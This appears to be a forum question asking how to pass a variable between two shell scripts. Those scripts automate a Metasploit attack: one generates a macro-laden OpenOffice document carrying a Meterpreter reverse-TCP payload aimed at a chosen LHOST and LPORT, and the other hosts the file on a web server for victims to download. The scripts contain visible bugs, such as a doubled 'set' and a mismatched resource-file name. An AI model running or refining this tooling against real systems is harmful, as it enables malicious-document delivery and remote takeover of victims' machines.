I have written a bash script
Script1.sh
#!/bin/sh
read -p "Enter name of the document file :" name
read -p "Enter LHOST :" lhost
read -p "Enter LPORT :" lport
echo "use exploit/multi/misc/openoffice_document_macro
set set payload windows/meterpreter/reverse_tcp_allports
set FIlENAME $name.odt
set LHOST $lhost
set LPORT $lport
exploit
background
exploit" > output.txt
set ExitOnSession false
gnome-terminal -e "./script2.sh"
echo "Now Starting metasploit !"
msfconsole -r open_office_macro.rc
script2.sh
#!/bin/sh
file=/root/.msf4/local/$name.odt
if [ -f "$file" ]
then
cp /root/.msf4/local/$name.odt /var/www/html
cd /var/www/html
python -m SimpleHTTPServer
else
echo "$file not found."
fi
How can i pass the $name parameter from script1 to script2?
bash
shell, don't use ash
shebang line in your scripts!